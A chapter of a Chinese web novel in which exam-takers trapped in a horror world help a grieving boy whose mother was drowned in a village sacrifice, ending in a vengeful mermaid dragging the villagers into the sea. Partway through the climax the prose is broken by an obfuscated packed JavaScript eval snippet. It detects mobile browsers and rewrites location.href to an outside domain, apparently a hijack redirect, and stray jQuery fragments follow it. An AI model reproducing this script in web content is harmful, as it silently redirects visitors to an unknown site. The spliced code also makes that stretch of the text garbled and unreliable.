17. 人鱼村落(完)

作品:《考研未遂,进入无限世界继续考

    木屋的门被疯狂敲打着,那声音急促极了,屋里的人刚刚将门推开缝隙,外面的小孩便扑进了她怀里:“阿妈阿妈,我今天学了新的课文,叫《这条小鱼在乎》,讲的是小男孩儿救助困在浅水洼里的小鱼回大海的故事,阿荣也要成为这样的人。”


    “阿荣乖,我们阿荣一直都是在救助小鱼的那个人呢。”阿妈柔声笑着轻抚他的额头,牵着他的手往屋子里面走,“你瞧,阿妈给你准备了什么?”


    阿荣眨巴了好几下眼睛,震惊道:“哇!好大的浴缸!”


    “你不是想要救助受伤的小鱼吗?之前的鱼缸都太小了,这个以后给你养护小鱼用。”


    “阿妈真是世界上最好的阿妈。”阿荣的眼睛亮亮的,“对了阿妈,阿荣今天也有捡很多垃圾呢,阿荣很喜欢这样美丽的村落被大家看到,可是阿荣不喜欢他们乱丢垃圾,海滩上全都是垃圾,塑料袋子缠在小鱼脖子上,金属杆子贯穿小鱼的身体,我们究竟给小鱼的家带来了什么?”


    阿妈温柔地摸了摸他的脑袋,柔声说:“有阿妈在,有阿荣在,一切都会好起来的,我们多捡一点垃圾,或许就可以救一条小鱼,阿妈已经找到保护小鱼的家的办法了,很快一切都会好起来。”


    ———咚咚咚!!!


    突然,屋外响起了敲门声。


    阿妈低头微笑着看着他:“阿妈有点事情出去一下,很快就回来,阿荣就乖乖呆在房间里等着阿妈好不好?”


    “好。”他笑着应声。


    洗浴间的浴缸很大很大,有两张床拼起来那么大,阿荣把之前鱼缸里受伤的小鱼轻轻捧起来放在了大浴缸里,他边往进放边喃喃道:“……这条小鱼在乎。”


    屋外突然传来数十道人声,他们似乎在念什么咒语,嘈杂的声音刺激着阿荣的耳膜,他不自觉向着窗边看去,正对着窗户的海边围着一圈村民,他们嘀嘀咕咕不知道在念叨什么,而他们围着的正中间端坐着一个熟悉的身影。


    “……阿妈?”


    阿妈闭着眼睛,似乎在打坐冥想,正当他感到疑惑时,他突然看到阿妈身边的村民朝着阿妈走去,无数双手朝着阿妈伸去,他们手里拿着粗粗的麻绳,那麻绳正一圈一圈地将阿妈的身体束缚起来。


    “阿妈!阿妈!!!”


    他朝着外面呐喊,想要提醒阿妈,可她的眼睛始终紧闭,像是什么都听不到一样。


    他看到那些村民将他的阿妈往大海边缘推去,他们要把她扔进海里。


    “快跑啊阿妈!!他们要把你丢进海里了!!”


    可他的声音似乎被阻隔在屋子里面,怎么也传不出去,他想要推开窗户,可那窗户却似乎被什么东西封住了,怎么也推不开,他想要拉开门出去,连门也被封死了,他绝望地拍打着玻璃,他从来不知道,屋子里的玻璃那样坚硬,无论他用什么砸都砸不开。


    他只能眼睁睁看着他最爱的阿妈被五花大绑地丢进冰冷的海水里,他看到她突然睁开的眼睛,看到她眼中的无措,看到冰冷的海水将她吞没。


    他听到那些村民说:“你不是像疯了一样爱这片海吗?这下可以永远待在你最爱的海里了,你不会白白牺牲的,海神会听到我们的呼唤,海神会世代保佑这片村落。”


    你瞧,这窗户分明就不隔音的。


    他们根本就能听到他的绝望和呐喊的。


    阿妈明明水性很好的,可偏偏被他们绑住了手脚。


    “你不是很爱那些鱼吗?那你知道你的阿妈会怎么样吗?会被你一直爱惜的鱼啃噬得一干二净……”


    “被你救的无数条鱼啃噬殆尽……”


    “这个村落总要有人牺牲,你难道不希望这片海域恢复从前的样子吗……”


    他们在窗边对他说了好多话,可他似乎都听不清楚了,或许这窗户的隔音真的挺好的吧,他也不记得当时他究竟是什么样子了,也不记得自己当时说过些什么话了,他只觉得浑身发冷,仿佛和阿妈一起掉进了冰冷刺骨的海水里,等他回过神来的时候,木屋已经变得暗无天日,他们用木料钉住了他的窗户,仿佛钉住了他的生命。


    窄小黑暗的木屋像一具棺材,而他是安放在里面的行尸走肉。


    海水吞噬了阿妈,眼泪吞噬了他。


    窒息般的悲伤似乎夺走了他最后的生机,可偏偏这时他想起了洗浴间里的那些鱼……


    “……你们也会救下阿妈吗?像我救下你们一样。”


    他等了很久,等到了搬离这间屋子的那天,却始终没有等到阿妈回来。


    听说他们失败了,海里再也没有鱼类的踪迹,就连他屋子里的鱼也因为生存环境没有活下来,村民似乎在陆陆续续变成怪物。


    他突然很难过,他们都在骗他,阿妈骗他,她根本就没有回来,村民也骗他,海里根本就没有海神,就连他自己也在骗自己,明明知道不可能却还一直坚信。


    ……


    “你们真的可以帮我找到阿妈吗?”阿荣的眼睛闪烁着光芒,那是希冀。


    “可以。”陈喻抿了下唇说,“但得等到晚上。”


    “好。”他笑着应声。


    “你们可不能骗我。”他补充道。


    木麻黄树下,海风迎面拂过,明明是站在一样的位置,她的心情却似乎天差地别,比刚来的那天糟糕了太多。


    陈喻的心像是被揪着一样,原来要献祭的东西不仅有血肉,还有灵魂,他们要献祭的是最鲜活的生命。


    “海洋受到了严重污染,游客肯定会大幅度减少,村民心中难免着急,丧失了游客就只能走靠海吃海的老路,可是海里的鱼类也大幅度减少了,他们很无助,也很绝望,人绝望的时候就容易去信奉神灵,他们想要得到海神的恩赐。”她努力理清思绪。


    “不知道从哪里冒出来那样一本典籍,他们像是疯了一样,找到最敬畏海域的那个人。”


    秦曜看着海面说:“不会有人在意祭典的来历,他们只需要一个信仰,一个希望,和一个冠冕堂皇的理由。”


    “祭祀完成了,海里从此没有一样垃圾废物,可是鱼也消失了。”陈喻继续说,“等到他们觉察到异样的时候,已经晚了,有人变成了怪物。”


    她一直在想,最初那具光秃秃的人鱼骨架的来历究竟是什么,如今,她都知道了。


    海里本没有神,可当她进入了海域的时候,当阿荣被束缚自由的时候,海洋失去了最后庇佑他们的人,海里从此就有了神,来审判犯下恶行的众人。


    至于为什么游客可以被拿来替罪,大抵是因为他们也破坏了这片海。


    “你真的要帮他见阿妈吗?”时越在她耳边问,“可你知道他阿妈在哪吗?”


    陈喻面无表情地看着眼前的海:“我不仅要让他见阿妈,我还要让这个村落的所有人都见到。”


    或许是闻到死亡的气息离他们越来越近了,几人的气氛冷到了极点,他们都只是静静地看着眼前的海面,等待着夜晚的降临。


    “陈喻,你知道这是什么树吗?”时越突然开口问。


    “木麻黄树。”她不明所以。


    “木麻黄树能吃吗?”时越看着树两眼发昏。


    “……”


    “木麻黄树的果实、树皮有药用价值,但不可以随便食用。”秦曜微笑着说。


    苏韵看了他一眼,默不作声往时越和陈喻手里一人塞了块压缩饼干,自己也吃了一块。


    “没有我的吗?”秦曜笑着问。


    “我没记错的话,你的资金还很充裕。”苏韵很不客气地说。


    不知道是不是他们太焦急,总觉得今天的夜晚来得格外慢,等天色终于暗下来的时候,陈喻半死不活的眼神突然好像有了几分光芒。


    “秦先生不是想和我合作嘛,展现你诚意的时候到了。”她看着秦曜说。


    今晚的海风似乎比过往每一日都要猛烈,腐臭味也愈发浓郁,陈喻一眼就看到了熟悉的纯白色花田,那抹白日里如画一般的存在,夜里却莫名看起来有些诡异,跟她猜想的一样,夜晚阿丽果然没有守在花圃旁。


    她没敢拖延,一脚就踩进了花圃里,泥土异样的质感她已无暇顾及,伸手就掐了朵白花下来,然而,一朵白花根本不是她的计划,她速度极快,顺手就掐了一片。


    “她不是说进她的花圃不能穿鞋袜嘛。”时越在一旁看得动魄惊心。


    陈喻采花采得认真,头也没回:“她说的是花匠,我现在是偷花贼。”


    时越:“……”


    她先前试探过阿丽的态度,也分析她几次说的话,至少穿鞋进来不是必死情况,而且脱鞋进去几乎就是默认花匠身份,一个不小心手里的花就会变色。


    “今天刘婆婆才从村头骂到村尾,大骂偷项链的贼,晚上居然又来洗劫阿丽的花圃,明天阿丽又得骂了。”时越一边说一边帮着掐花。


    “今天是采花大盗,记住,一朵不留。”陈喻说。


    她俩刚刚掐完所有的花,脚下的泥土就变了质地,原本深红色的泥土似乎变成了鲜艳的血色,质感也变得更加一言难尽,陈喻将包裹着花朵的包袱一下子甩到肩上,拉着时越扭头就跑。


    夜里的屋子她们都可以看到窗户,这实在是件很省心的事,陈喻轻轻推开了附近一间屋子的窗户,没有丝毫犹疑地扔了朵白花进去。


    她和时越分头行动,将包袱里的白花一间不落地扔进所有能扔的屋子,也没管里面住人没住。


    陈喻也在赌,她没有办法,或许韩少宇说得是对的,这场考试就是要拿命去赌,她已经把题目给出的已知条件都考虑进去了,她也拼凑出了完整的题目,至于解题的过程,她无法保证每一个步骤都能不出错,或许她答不出所谓的标准答案,但总会有解法,尽管过程有风险。


    人鱼要看到它的灵魂,但这个灵魂又不能是他们几个考生来让它看见,不然周辛夷就是他们的下场。


    那就只能赌,赌白花的效果会根据冥想的内容变化,赌村民内心的恐惧,赌他们闭目沉睡的时刻,赌他们不穿鞋袜的入眠,赌白花就算不戴在身上也能在一段距离内发挥作用。


    她已经尽量朝着床和人的位置在扔了,没办法,村民都知道的,他们不会主动种花的,只有这种方法,她带花来的路上甚至不敢眨眼,生怕一个闭目的瞬间就成了种花人。


    她正扔得起劲,一转头,发现秦曜不知道什么时候已经站到她身后了。


    “秦曜秦曜,你们那边怎么样了?”她问。


    “没问题了。”


    秦曜微笑着回应她,她却没吭声,抡起手里的包袱扭头就走。


    天杀的,这货就不是秦曜。


    她就怕晚上分头行动会出这种事,专门让每个人交流前先喊两遍对方名字。


    等到她把手里的花都放完的时候,海边约定好的位置三人已经到齐,木麻黄树下堆放着几截木材以及两三把斧子。


    “陈喻陈喻,我们已经都准备好了。”秦曜笑着说。


    “……”


    好吧她承认,这样喊真的很傻。


    “秦曜秦曜,我这边也是。”她一脸无奈。


    突然,陈喻听到身后不远处有一道门开了,有村民在朝着他们这边走来,那男人直直从他们身边走过,朝着海域走去,路过时陈喻注意到他的腰间别着朵花,那朵花已经不再是纯白色,而是变成深红色,像是包裹着浓郁的鲜血,又像是深夜绽放的玫瑰。


    然而不止这一个人,村落里的无数道门陆续被推开,整个村落的村民都在默不作声地朝着海边汇聚。


    海面突然翻涌起巨大的海浪,风浪几乎要将他们全部死死拍在岸上,巨大的身影从海面跃出,陈喻看到了熟悉的月亮。


    原来那不是月亮。


    巨大的人鱼骨架从水面一跃而起,明晃晃的两颗眼珠像月亮一样安放在它的眼眶上,成千上万的尸骨从海水中歪七扭八地爬出来,它们的血肉早已被泡得浮肿腐烂,碎裂的血肉胡乱拼凑在一起,本该隐匿在身体里的脑浆和心脏肠子乱七八糟地安在各处。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538567|169745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些东西将村民牢牢拽进海域深处,村民在此时似乎突然清醒了过来,他们疯狂哭喊着挣扎着,可是已经来不及了,一切都太晚了,他们只能眼睁睁地看着自己被一点一点拉入海底,被海水慢慢吞噬,被这些他们亲手推进来的怪物一点一点啃噬殆尽……


    明明看起来惨不忍睹,都看不清它们的样貌,但陈喻下意识地就觉得那些东西好像在咧着大嘴笑,海风的呼啸声里掺杂着撕心裂肺的哭喊声,那些东西的笑声在其中显得突兀又诡异。


    尽管隔着一段距离,陈喻几人还是忍不住倒吸一口凉气。


    浓重的血腥味从海边蔓延过来,在数道哭喊声中陈喻看到有一个男人在朝着她走来,无数双浮肿发白的手拉扯着他,血红色的长指甲已经戳进了他的血肉里,他双眼猩红,连头顶也按着一双大手,似乎要将他的脑袋劈碎,但即便如此,男人还是在朝着她的方向挪。


    她听到那人撕心裂肺的声音在说:“你明明答应了我可以帮我彻底解决海里的东西的!!”


    她声音平静,也不在乎那人听不听得到:“可是怎么办呢,我先答应了人鱼的。”


    海水将他的声音彻底淹没。


    就连村长也被人鱼骨架重重摔得粉碎,老旧的骨头四散在广阔的海域之中。


    “监考……死了?”时越震惊。


    所有的村民里,只有一个村民没有呐喊,也没有挣扎,阿荣静悄悄地看着他的月亮,他的月亮也在朝他靠近,巨大的人鱼尾骨将他卷起,像是将他拥入了怀抱一般。


    “……阿妈,是你来接我了吗?”阿荣的泪从他消瘦的脸颊滑落,他用手描摹对方的脸,他的脸也在飞速异化成鱼类脑袋的模样,“阿妈,带我走好不好,阿荣真的好想好想你啊……”


    陈喻注意到他腰间的那朵花居然还是纯白色,今天晚上她扔了无数朵白花给村民,可唯有阿荣那朵是他自己亲手接过的。


    或许阿荣就是那条被困在浅滩上的鱼,直至此刻才重归了他的大海。


    等到这场凶残的虐杀慢慢平息的时候,秦曜将树下的木桩都劈成两半,截面朝上扔到了水面上,可那木材居然直接沉了下去。


    “这样还不行吗?”秦曜的眉头拧起来。


    “难道必须做成木船的样子吧。”时越苦恼地挠头。


    “我又不是木匠。”


    “可能是漏掉了什么步骤,究竟有什么线索和已知信息是被我们遗漏的呢?”苏韵的眉头也皱着,似乎在凝神思考。


    “等天亮吧。”陈喻没什么情绪地说,“你们忘了村民是怎么拿游客替罪的了?”


    苏韵心领神会:“祷告。”


    时越也反应过来:“你是说我们得等到早上念他们祷告的咒词,完成了仪式我们大概就能离开了。”


    “我猜是这样。”


    陈喻说完就靠着木麻黄树坐下了,她静静地看着眼前已经恢复平静的海域,饥饿在疯狂叫嚣着她的每一寸神经,脑袋和四肢麻木到她已经快感觉不到它们的存在了,她今晚出门的时候特意换了一条长裙子,因为她感觉到了两条腿的异样,手臂似乎在飞速退化,身上却长出了不属于自己的鱼鳍,脖颈处的鳞片已经蔓延到了她的整个脸颊。


    现在的她,除了还有一口气以外,几乎和展览馆里的东西长得一模一样。


    她在飞速异化,或许是因为夜晚总是呆在外面,或许是因为拿了珍珠项链,又或是因为洗劫了花圃里所有的花,又或许……是这些事情的叠加效果。


    最少最少也得赶在今天考试之前离开这里。


    只是……还能活着离开吗?


    等到黎明的微光撒到海面上的时候,陈喻他们没敢磨蹭分毫,赶忙照着祭典上的咒词念叨了一会儿。


    “嗡叭——嗡叭——”


    “古鲁嗒——咪啦——”


    陈喻的声音低哑得像是含了沙砾一样。


    祷告完成后秦曜忙试着把劈开的木材又扔入水面,那木材果然稳稳浮在了水面上,他几乎是没有一丝犹豫地站了上去,那木材果真像船一样载着他往另一边移去。


    他微笑着朝几人说:“那我就先走一步了,学校见了,各位。”


    他说完这句话不久便消失在了海域上,大概是被传送出了考场。


    时越见状,赶忙也搬了块木材。


    “你不走吗?”


    苏韵的声音吸引了时越的注意,她转过头看到了还坐在木麻黄树下的陈喻,陈喻的脸已经快要完全变成鱼头的样子了,她靠在那里似乎失去了全身的力气。


    时越朝她走去,发现了她裙下新长出来的长长的鱼尾,看到了她空荡荡随风飘摇的衣袖。


    “你们先走吧。”陈喻气息虚弱,微笑着说,“或许,待会儿我就游出来了。”


    木材太小了,而她现在已经无法站立,她大概走不了了。


    “喂,你不考研了吗?你不着急出去了吗?”时越低着头问陈喻,海风吹乱了她的头发,陈喻却看不清她的情绪。


    “陈喻,你是我来这里见到的第一个人,不知道为什么,所有人里我只相信你。”


    “你这是雏鸟情结吧?”陈喻笑着说。


    “陈喻,你还记得吗?上次在展览馆的时候是你救我出来的。”


    “就算我不救你,你醒了也能自己出来的。”陈喻说。


    “陈喻,我这人很讲义气的,你怎么对我,我就会怎么对你。”


    陈喻无声地看着时越,看着她的泪水砸落在沙滩上,对方倔强地低着头,当时许芸芸死的时候她似乎也很难过,但陈喻从没见她这样哭过。


    “你要干什么?!”


    陈喻一脸震惊地看着自己远离地面,时越那家伙居然把她抱了起来。


    “你俩煽完情了就赶紧过来。”


    苏韵面无表情地按着两块浮在海面上的木头,顺手从时越手里抢走了一半陈喻……


    她俩站得很近,四只手稳稳托着一条人鱼。


    陈喻:“……”